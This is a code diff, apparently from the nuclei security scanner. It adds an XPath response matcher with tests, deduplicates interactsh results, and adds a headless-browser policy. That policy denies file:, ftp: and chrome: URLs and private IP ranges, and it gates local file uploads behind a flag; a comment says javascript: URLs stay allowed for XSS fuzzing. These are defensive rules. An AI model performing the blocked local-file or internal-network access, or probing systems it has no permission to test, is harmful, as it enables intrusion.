m := &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{"/html/body/div/p[2]/a"}}
|
||||
err := m.CompileMatchers()
|
||||
require.Nil(t, err)
|
||||
|
||||
isMatched := m.MatchXPath(body)
|
||||
require.True(t, isMatched, "Could not match valid XPath")
|
||||
|
||||
isMatched = m.MatchXPath("<h1>aaaaaaaaa")
|
||||
require.False(t, isMatched, "Could match invalid XPath")
|
||||
|
||||
// OR match
|
||||
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: "or", XPath: []string{"/html/head/title[contains(text(), 'PATRICAAA')]", "/html/body/div/p[2]/a"}}
|
||||
err = m.CompileMatchers()
|
||||
require.Nil(t, err)
|
||||
|
||||
isMatched = m.MatchXPath(body)
|
||||
require.True(t, isMatched, "Could not match valid multi-XPath with OR condition")
|
||||
|
||||
isMatched = m.MatchXPath(body2)
|
||||
require.False(t, isMatched, "Could match invalid multi-XPath with OR condition")
|
||||
|
||||
// AND match
|
||||
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: "and", XPath: []string{"/html/head/title[contains(text(), 'Example Domain')]", "/html/body/div/p[2]/a"}}
|
||||
err = m.CompileMatchers()
|
||||
require.Nil(t, err)
|
||||
|
||||
isMatched = m.MatchXPath(body)
|
||||
require.True(t, isMatched, "Could not match valid multi-XPath with AND condition")
|
||||
|
||||
isMatched = m.MatchXPath(body2)
|
||||
require.False(t, isMatched, "Could match invalid multi-XPath with AND condition")
|
||||
|
||||
// invalid xpath
|
||||
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{"//a[@a==1]"}}
|
||||
_ = m.CompileMatchers()
|
||||
isMatched = m.MatchXPath(body)
|
||||
require.False(t, isMatched, "Invalid xpath did not return false")
|
||||
}
|
||||
|
||||
func TestMatcher_MatchXPath_XML(t *testing.T) {
|
||||
body := `<?xml version="1.0" encoding="utf-8"?><foo>bar</foo><wibble id="1" /><parent><child>baz</child></parent>`
|
||||
body2 := `<?xml version="1.0" encoding="utf-8"?><test>bar</test><wibble2 id="1" /><roditelj><dijete>alo</dijete></roditelj>`
|
||||
|
||||
// single match
|
||||
m := &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{"//foo[contains(text(), 'bar')]"}}
|
||||
err := m.CompileMatchers()
|
||||
require.Nil(t, err)
|
||||
|
||||
isMatched := m.MatchXPath(body)
|
||||
require.True(t, isMatched, "Could not match valid XPath")
|
||||
|
||||
isMatched = m.MatchXPath("<h1>aaaaaaaaa</h1>")
|
||||
require.False(t, isMatched, "Could match invalid XPath")
|
||||
|
||||
// OR match
|
||||
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: "or", XPath: []string{"/foo[contains(text(), 'PATRICAAA')]", "/parent/child"}}
|
||||
err = m.CompileMatchers()
|
||||
require.Nil(t, err)
|
||||
|
||||
isMatched = m.MatchXPath(body)
|
||||
require.True(t, isMatched, "Could not match valid multi-XPath with OR condition")
|
||||
|
||||
isMatched = m.MatchXPath(body2)
|
||||
require.False(t, isMatched, "Could match invalid multi-XPath with OR condition")
|
||||
|
||||
// AND match
|
||||
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: "and", XPath: []string{"/foo[contains(text(), 'bar')]", "/parent/child"}}
|
||||
err = m.CompileMatchers()
|
||||
require.Nil(t, err)
|
||||
|
||||
isMatched = m.MatchXPath(body)
|
||||
require.True(t, isMatched, "Could not match valid multi-XPath with AND condition")
|
||||
|
||||
isMatched = m.MatchXPath(body2)
|
||||
require.False(t, isMatched, "Could match invalid multi-XPath with AND condition")
|
||||
|
||||
// invalid xpath
|
||||
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{"//a[@a==1]"}}
|
||||
_ = m.CompileMatchers()
|
||||
isMatched = m.MatchXPath(body)
|
||||
require.False(t, isMatched, "Invalid xpath did not return false")
|
||||
|
||||
// invalid xml
|
||||
isMatched = m.MatchXPath("<h1> not right <q id=2/>notvalid")
|
||||
require.False(t, isMatched, "Invalid xpath did not return false")
|
||||
}
|
||||
|
||||
@ -94,6 +94,16 @@ type Matcher struct {
|
||||
// []string{"!contains(tolower(all_headers), ''strict-transport-security'')"}
|
||||
DSL []string `yaml:"dsl,omitempty" json:"dsl,omitempty" jsonschema:"title=dsl expressions to match in response,description=DSL are the dsl expressions that will be evaluated as part of nuclei matching rules"`
|
||||
// description: |
|
||||
// XPath are the xpath queries expressions that will be evaluated against the response part.
|
||||
// examples:
|
||||
// - name: XPath Matcher to check a title
|
||||
// value: >
|
||||
// []string{"/html/head/title[contains(text(), 'How to Find XPath')]"}
|
||||
// - name: XPath Matcher for finding links with target="_blank"
|
||||
// value: >
|
||||
// []string{"//a[@target="_blank"]"}
|
||||
XPath []string `yaml:"xpath,omitempty" json:"xpath,omitempty" jsonschema:"title=xpath queries to match in response,description=xpath are the XPath queries that will be evaluated against the response part of nuclei matching rules"`
|
||||
// description: |
|
||||
// Encoding specifies the encoding for the words field if any.
|
||||
// values:
|
||||
// - "hex"
|
||||
|
||||
@ -25,6 +25,8 @@ const (
|
||||
SizeMatcher
|
||||
// name:dsl
|
||||
DSLMatcher
|
||||
// name:xpath
|
||||
XPathMatcher
|
||||
limit
|
||||
)
|
||||
|
||||
@ -36,6 +38,7 @@ var MatcherTypes = map[MatcherType]string{
|
||||
RegexMatcher: "regex",
|
||||
BinaryMatcher: "binary",
|
||||
DSLMatcher: "dsl",
|
||||
XPathMatcher: "xpath",
|
||||
}
|
||||
|
||||
// GetType returns the type of the matcher
|
||||
|
||||
@ -6,6 +6,7 @@ import (
|
||||
"reflect"
|
||||
"strings"
|
||||
|
||||
"github.com/antchfx/xpath"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
@ -38,8 +39,23 @@ func (matcher *Matcher) Validate() error {
|
||||
expectedFields = append(commonExpectedFields, "Binary", "Part", "Encoding", "CaseInsensitive")
|
||||
case RegexMatcher:
|
||||
expectedFields = append(commonExpectedFields, "Regex", "Part", "Encoding", "CaseInsensitive")
|
||||
case XPathMatcher:
|
||||
expectedFields = append(commonExpectedFields, "XPath", "Part")
|
||||
}
|
||||
return checkFields(matcher, matcherMap, expectedFields...)
|
||||
|
||||
if err = checkFields(matcher, matcherMap, expectedFields...); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// validate the XPath query
|
||||
if matcher.matcherType == XPathMatcher {
|
||||
for _, query := range matcher.XPath {
|
||||
if _, err = xpath.Compile(query); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func checkFields(m *Matcher, matcherMap map[string]interface{}, expectedFields ...string) error {
|
||||
|
||||
@ -15,4 +15,17 @@ func TestValidate(t *testing.T) {
|
||||
m = &Matcher{matcherType: DSLMatcher, Part: "test"}
|
||||
err = m.Validate()
|
||||
require.NotNil(t, err, "Invalid template was correctly validated")
|
||||
|
||||
m = &Matcher{matcherType: XPathMatcher, XPath: []string{"//q[@id=\"foo\"]"}}
|
||||
|
||||
err = m.Validate()
|
||||
require.Nil(t, err, "Could not validate correct XPath template")
|
||||
|
||||
m = &Matcher{matcherType: XPathMatcher, Status: []int{123}}
|
||||
err = m.Validate()
|
||||
require.NotNil(t, err, "Invalid XPath template was correctly validated")
|
||||
|
||||
m = &Matcher{matcherType: XPathMatcher, XPath: []string{"//a[@a==1]"}}
|
||||
err = m.Validate()
|
||||
require.NotNil(t, err, "Invalid XPath query was correctly validated")
|
||||
}
|
||||
|
||||
@ -8,9 +8,11 @@ import (
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/pkg/errors"
|
||||
"go.uber.org/multierr"
|
||||
|
||||
jsoniter "github.com/json-iterator/go"
|
||||
"github.com/logrusorgru/aurora"
|
||||
@ -36,7 +38,7 @@ type Writer interface {
|
||||
// Write writes the event to file and/or screen.
|
||||
Write(*ResultEvent) error
|
||||
// WriteFailure writes the optional failure event for template to file and/or screen.
|
||||
WriteFailure(event InternalEvent) error
|
||||
WriteFailure(*InternalWrappedEvent) error
|
||||
// Request logs a request in the trace log
|
||||
Request(templateID, url, requestType string, err error)
|
||||
// WriteStoreDebugData writes the request/response debug data to file
|
||||
@ -76,6 +78,9 @@ type InternalWrappedEvent struct {
|
||||
Results []*ResultEvent
|
||||
OperatorsResult *operators.Result
|
||||
UsesInteractsh bool
|
||||
// Only applicable if interactsh is used
|
||||
// This is used to avoid duplicate successful interactsh events
|
||||
InteractshMatched atomic.Bool
|
||||
}
|
||||
|
||||
func (iwe *InternalWrappedEvent) HasOperatorResult() bool {
|
||||
@ -210,7 +215,7 @@ func NewStandardWriter(options *types.Options) (*StandardWriter, error) {
|
||||
func (w *StandardWriter) Write(event *ResultEvent) error {
|
||||
// Enrich the result event with extra metadata on the template-path and url.
|
||||
if event.TemplatePath != "" {
|
||||
event.Template, event.TemplateURL = utils.TemplatePathURL(types.ToString(event.TemplatePath))
|
||||
event.Template, event.TemplateURL = utils.TemplatePathURL(types.ToString(event.TemplatePath), types.ToString(event.TemplateID))
|
||||
}
|
||||
event.Timestamp = time.Now()
|
||||
|
||||
@ -302,11 +307,27 @@ func (w *StandardWriter) Close() {
|
||||
}
|
||||
|
||||
// WriteFailure writes the failure event for template to file and/or screen.
|
||||
func (w *StandardWriter) WriteFailure(event InternalEvent) error {
|
||||
func (w *StandardWriter) WriteFailure(wrappedEvent *InternalWrappedEvent) error {
|
||||
if !w.matcherStatus {
|
||||
return nil
|
||||
}
|
||||
templatePath, templateURL := utils.TemplatePathURL(types.ToString(event["template-path"]))
|
||||
if len(wrappedEvent.Results) > 0 {
|
||||
errs := []error{}
|
||||
for _, result := range wrappedEvent.Results {
|
||||
result.MatcherStatus = false // just in case
|
||||
if err := w.Write(result); err != nil {
|
||||
errs = append(errs, err)
|
||||
}
|
||||
}
|
||||
if len(errs) > 0 {
|
||||
return multierr.Combine(errs...)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
// if no results were found, manually create a failure event
|
||||
event := wrappedEvent.InternalEvent
|
||||
|
||||
templatePath, templateURL := utils.TemplatePathURL(types.ToString(event["template-path"]), types.ToString(event["template-id"]))
|
||||
var templateInfo model.Info
|
||||
if event["template-info"] != nil {
|
||||
templateInfo = event["template-info"].(model.Info)
|
||||
@ -319,6 +340,8 @@ func (w *StandardWriter) WriteFailure(event InternalEvent) error {
|
||||
Info: templateInfo,
|
||||
Type: types.ToString(event["type"]),
|
||||
Host: types.ToString(event["host"]),
|
||||
Request: types.ToString(event["request"]),
|
||||
Response: types.ToString(event["response"]),
|
||||
MatcherStatus: false,
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
|
||||
@ -16,6 +16,7 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool"
|
||||
httputil "github.com/projectdiscovery/nuclei/v2/pkg/protocols/utils/http"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/templates/types"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
@ -58,13 +59,13 @@ func New(opts Options) (*Service, error) {
|
||||
|
||||
var mappingData map[string]string
|
||||
config := config.DefaultConfig
|
||||
if err == nil {
|
||||
mappingFile := filepath.Join(config.TemplatesDirectory, mappingFilename)
|
||||
if file, err := os.Open(mappingFile); err == nil {
|
||||
_ = yaml.NewDecoder(file).Decode(&mappingData)
|
||||
file.Close()
|
||||
}
|
||||
|
||||
mappingFile := filepath.Join(config.TemplatesDirectory, mappingFilename)
|
||||
if file, err := os.Open(mappingFile); err == nil {
|
||||
_ = yaml.NewDecoder(file).Decode(&mappingData)
|
||||
file.Close()
|
||||
}
|
||||
|
||||
if opts.ExecuterOpts.Options.Verbose {
|
||||
gologger.Verbose().Msgf("Normalized mapping (%d): %v\n", len(mappingData), mappingData)
|
||||
}
|
||||
@ -86,7 +87,9 @@ func New(opts Options) (*Service, error) {
|
||||
childExecuter := opts.Engine.ChildExecuter()
|
||||
|
||||
httpclient, err := httpclientpool.Get(opts.ExecuterOpts.Options, &httpclientpool.Configuration{
|
||||
Connection: &httpclientpool.ConnectionConfiguration{DisableKeepAlive: true},
|
||||
Connection: &httpclientpool.ConnectionConfiguration{
|
||||
DisableKeepAlive: httputil.ShouldDisableKeepAlive(opts.ExecuterOpts.Options),
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "could not get http client")
|
||||
|
||||
@ -2,10 +2,19 @@ package contextargs
|
||||
|
||||
import (
|
||||
"net/http/cookiejar"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
mapsutil "github.com/projectdiscovery/utils/maps"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
)
|
||||
|
||||
var (
|
||||
// reservedPorts contains list of reserved ports for non-network requests in nuclei
|
||||
reservedPorts = []string{"80", "443", "8080", "8443", "8081", "53"}
|
||||
)
|
||||
|
||||
// Context implements a shared context struct to share information across multiple templates within a workflow
|
||||
@ -80,6 +89,31 @@ func (ctx *Context) Add(key string, v interface{}) {
|
||||
}
|
||||
}
|
||||
|
||||
// UseNetworkPort updates input with required/default network port for that template
|
||||
// but is ignored if input/target contains non-http ports like 80,8080,8081 etc
|
||||
func (ctx *Context) UseNetworkPort(port string, excludePorts string) error {
|
||||
ignorePorts := reservedPorts
|
||||
if excludePorts != "" {
|
||||
// TODO: add support for service names like http,https,ssh etc once https://github.com/projectdiscovery/netdb is ready
|
||||
ignorePorts = sliceutil.Dedupe(strings.Split(excludePorts, ","))
|
||||
}
|
||||
if port == "" {
|
||||
// if template does not contain port, do nothing
|
||||
return nil
|
||||
}
|
||||
target, err := urlutil.Parse(ctx.MetaInput.Input)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
inputPort := target.Port()
|
||||
if inputPort == "" || stringsutil.EqualFoldAny(inputPort, ignorePorts...) {
|
||||
// replace port with networkPort
|
||||
target.UpdatePort(port)
|
||||
ctx.MetaInput.Input = target.Host
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Get the value with specific key if exists
|
||||
func (ctx *Context) Get(key string) (interface{}, bool) {
|
||||
if !ctx.hasArgs() {
|
||||
|
||||
@ -100,6 +100,10 @@ func (c *Client) poll() error {
|
||||
|
||||
err = interactsh.StartPolling(c.pollDuration, func(interaction *server.Interaction) {
|
||||
request, err := c.requests.Get(interaction.UniqueID)
|
||||
// for more context in github actions
|
||||
if strings.EqualFold(os.Getenv("GITHUB_ACTIONS"), "true") && c.options.Debug {
|
||||
gologger.DefaultLogger.Print().Msgf("[Interactsh]: got interaction of %v for request %v and error %v", interaction, request, err)
|
||||
}
|
||||
if errors.Is(err, gcache.KeyNotFoundError) || request == nil {
|
||||
// If we don't have any request for this ID, add it to temporary
|
||||
// lru cache, so we can correlate when we get an add request.
|
||||
@ -156,6 +160,11 @@ func (c *Client) processInteractionForRequest(interaction *server.Interaction, d
|
||||
|
||||
result, matched := data.Operators.Execute(data.Event.InternalEvent, data.MatchFunc, data.ExtractFunc, c.options.Debug || c.options.DebugRequest || c.options.DebugResponse)
|
||||
|
||||
// for more context in github actions
|
||||
if strings.EqualFold(os.Getenv("GITHUB_ACTIONS"), "true") && c.options.Debug {
|
||||
gologger.DefaultLogger.Print().Msgf("[Interactsh]: got result %v and status %v after processing interaction", result, matched)
|
||||
}
|
||||
|
||||
// if we don't match, return
|
||||
if !matched || result == nil {
|
||||
return false
|
||||
@ -179,7 +188,9 @@ func (c *Client) processInteractionForRequest(interaction *server.Interaction, d
|
||||
c.debugPrintInteraction(interaction, data.Event.OperatorsResult)
|
||||
}
|
||||
|
||||
if writer.WriteResult(data.Event, c.options.Output, c.options.Progress, c.options.IssuesClient) {
|
||||
// if event is not already matched, write it to output
|
||||
if !data.Event.InteractshMatched.Load() && writer.WriteResult(data.Event, c.options.Output, c.options.Progress, c.options.IssuesClient) {
|
||||
data.Event.InteractshMatched.Store(true)
|
||||
c.matched.Store(true)
|
||||
if requestShouldStopAtFirstMatch(data) || c.options.StopAtFirstMatch {
|
||||
_ = c.matchedTemplates.SetWithExpire(hash(data.Event.InternalEvent), true, defaultInteractionDuration)
|
||||
|
||||
79
v2/pkg/protocols/common/protocolstate/headless.go
Normal file
@ -0,0 +1,79 @@
|
||||
package protocolstate
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/go-rod/rod"
|
||||
"github.com/go-rod/rod/lib/proto"
|
||||
"github.com/projectdiscovery/networkpolicy"
|
||||
errorutil "github.com/projectdiscovery/utils/errors"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
"go.uber.org/multierr"
|
||||
)
|
||||
|
||||
// initalize state of headless protocol
|
||||
|
||||
var (
|
||||
ErrURLDenied = errorutil.NewWithFmt("headless: url %v dropped by rule: %v")
|
||||
networkPolicy *networkpolicy.NetworkPolicy
|
||||
allowLocalFileAccess bool
|
||||
)
|
||||
|
||||
// ValidateNFailRequest validates and fails request
|
||||
// if the request does not respect the rules, it will be canceled with reason
|
||||
func ValidateNFailRequest(page *rod.Page, e *proto.FetchRequestPaused) error {
|
||||
reqURL := e.Request.URL
|
||||
normalized := strings.ToLower(reqURL) // normalize url to lowercase
|
||||
normalized = strings.TrimSpace(normalized) // trim leading & trailing whitespaces
|
||||
if !allowLocalFileAccess && stringsutil.HasPrefixI(normalized, "file:") {
|
||||
return multierr.Combine(FailWithReason(page, e), ErrURLDenied.Msgf(reqURL, "use of file:// protocol disabled use '-lfa' to enable"))
|
||||
}
|
||||
// validate potential invalid schemes
|
||||
// javascript protocol is allowed for xss fuzzing
|
||||
if stringsutil.HasPrefixAnyI(normalized, "ftp:", "externalfile:", "chrome:", "chrome-extension:") {
|
||||
return multierr.Combine(FailWithReason(page, e), ErrURLDenied.Msgf(reqURL, "protocol blocked by network policy"))
|
||||
}
|
||||
if !isValidHost(reqURL) {
|
||||
return multierr.Combine(FailWithReason(page, e), ErrURLDenied.Msgf(reqURL, "address blocked by network policy"))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// FailWithReason fails request with AccessDenied reason
|
||||
func FailWithReason(page *rod.Page, e *proto.FetchRequestPaused) error {
|
||||
m := proto.FetchFailRequest{
|
||||
RequestID: e.RequestID,
|
||||
ErrorReason: proto.NetworkErrorReasonAccessDenied,
|
||||
}
|
||||
return m.Call(page)
|
||||
}
|
||||
|
||||
// InitHeadless initializes headless protocol state
|
||||
func InitHeadless(RestrictLocalNetworkAccess bool, localFileAccess bool) {
|
||||
allowLocalFileAccess = localFileAccess
|
||||
if !RestrictLocalNetworkAccess {
|
||||
return
|
||||
}
|
||||
networkPolicy, _ = networkpolicy.New(networkpolicy.Options{
|
||||
DenyList: append(networkpolicy.DefaultIPv4DenylistRanges, networkpolicy.DefaultIPv6DenylistRanges...),
|
||||
})
|
||||
}
|
||||
|
||||
// isValidHost checks if the host is valid (only limited to http/https protocols)
|
||||
func isValidHost(targetUrl string) bool {
|
||||
if !stringsutil.HasPrefixAny(targetUrl, "http:", "https:") {
|
||||
return true
|
||||
}
|
||||
if networkPolicy == nil {
|
||||
return true
|
||||
}
|
||||
urlx, err := urlutil.Parse(targetUrl)
|
||||
if err != nil {
|
||||
// not a valid url
|
||||
return false
|
||||
}
|
||||
targetUrl = urlx.Hostname()
|
||||
_, ok := networkPolicy.ValidateHost(targetUrl)
|
||||
return ok
|
||||
}
|
||||
@ -22,6 +22,7 @@ func Init(options *types.Options) error {
|
||||
return nil
|
||||
}
|
||||
opts := fastdialer.DefaultOptions
|
||||
InitHeadless(options.RestrictLocalNetworkAccess, options.AllowLocalFileAccess)
|
||||
|
||||
switch {
|
||||
case options.SourceIP != "" && options.Interface != "":
|
||||
|
||||
@ -42,6 +42,8 @@ func (request *Request) Match(data map[string]interface{}, matcher *matchers.Mat
|
||||
return matcher.ResultWithMatchedSnippet(matcher.MatchBinary(types.ToString(item)))
|
||||
case matchers.DSLMatcher:
|
||||
return matcher.Result(matcher.MatchDSL(data)), []string{}
|
||||
case matchers.XPathMatcher:
|
||||
return matcher.Result(matcher.MatchXPath(types.ToString(item))), []string{}
|
||||
}
|
||||
return false, []string{}
|
||||
}
|
||||
|
||||
@ -10,6 +10,7 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/testutils"
|
||||
permissionutil "github.com/projectdiscovery/utils/permission"
|
||||
)
|
||||
|
||||
func TestFindInputPaths(t *testing.T) {
|
||||
@ -44,7 +45,7 @@ func TestFindInputPaths(t *testing.T) {
|
||||
"test.js": "TEST",
|
||||
}
|
||||
for k, v := range files {
|
||||
err = os.WriteFile(filepath.Join(tempDir, k), []byte(v), os.ModePerm)
|
||||
err = os.WriteFile(filepath.Join(tempDir, k), []byte(v), permissionutil.TempFilePermission)
|
||||
require.Nil(t, err, "could not write temporary file")
|
||||
}
|
||||
expected := []string{"config.yaml", "final.yaml", "test.js"}
|
||||
|
||||
@ -30,6 +30,8 @@ func (request *Request) Match(data map[string]interface{}, matcher *matchers.Mat
|
||||
return matcher.ResultWithMatchedSnippet(matcher.MatchBinary(itemStr))
|
||||
case matchers.DSLMatcher:
|
||||
return matcher.Result(matcher.MatchDSL(data)), []string{}
|
||||
case matchers.XPathMatcher:
|
||||
return matcher.Result(matcher.MatchXPath(itemStr)), []string{}
|
||||
}
|
||||
return false, []string{}
|
||||
}
|
||||
|
||||
@ -15,6 +15,7 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/testutils"
|
||||
permissionutil "github.com/projectdiscovery/utils/permission"
|
||||
)
|
||||
|
||||
func TestFileExecuteWithResults(t *testing.T) {
|
||||
@ -58,7 +59,7 @@ func TestFileExecuteWithResults(t *testing.T) {
|
||||
"config.yaml": "TEST\r\n1.1.1.1\r\n",
|
||||
}
|
||||
for k, v := range files {
|
||||
err = os.WriteFile(filepath.Join(tempDir, k), []byte(v), os.ModePerm)
|
||||
err = os.WriteFile(filepath.Join(tempDir, k), []byte(v), permissionutil.TempFilePermission)
|
||||
require.Nil(t, err, "could not write temporary file")
|
||||
}
|
||||
|
||||
|
||||
@ -13,6 +13,7 @@ import (
|
||||
"github.com/go-rod/rod/lib/proto"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/utils"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/types"
|
||||
)
|
||||
|
||||
// Page is a single page in an isolated browser instance
|
||||
@ -40,6 +41,7 @@ type HistoryData struct {
|
||||
type Options struct {
|
||||
Timeout time.Duration
|
||||
CookieReuse bool
|
||||
Options *types.Options
|
||||
}
|
||||
|
||||
// Run runs a list of actions by creating a new page in the browser.
|
||||
|
||||
@ -30,7 +30,8 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
errinvalidArguments = errors.New("invalid arguments provided")
|
||||
errinvalidArguments = errorutil.New("invalid arguments provided")
|
||||
ErrLFAccessDenied = errorutil.New("Use -allow-local-file-access flag to enable local file access")
|
||||
)
|
||||
|
||||
const (
|
||||
@ -70,7 +71,11 @@ func (p *Page) ExecuteActions(input *contextargs.Context, actions []*Action, var
|
||||
case ActionWaitEvent:
|
||||
err = p.WaitEvent(act, outData)
|
||||
case ActionFilesInput:
|
||||
err = p.FilesInput(act, outData)
|
||||
if p.options.Options.AllowLocalFileAccess {
|
||||
err = p.FilesInput(act, outData)
|
||||
} else {
|
||||
err = ErrLFAccessDenied
|
||||
}
|
||||
case ActionAddHeader:
|
||||
err = p.ActionAddHeader(act, outData)
|
||||
case ActionSetHeader:
|
||||
|
||||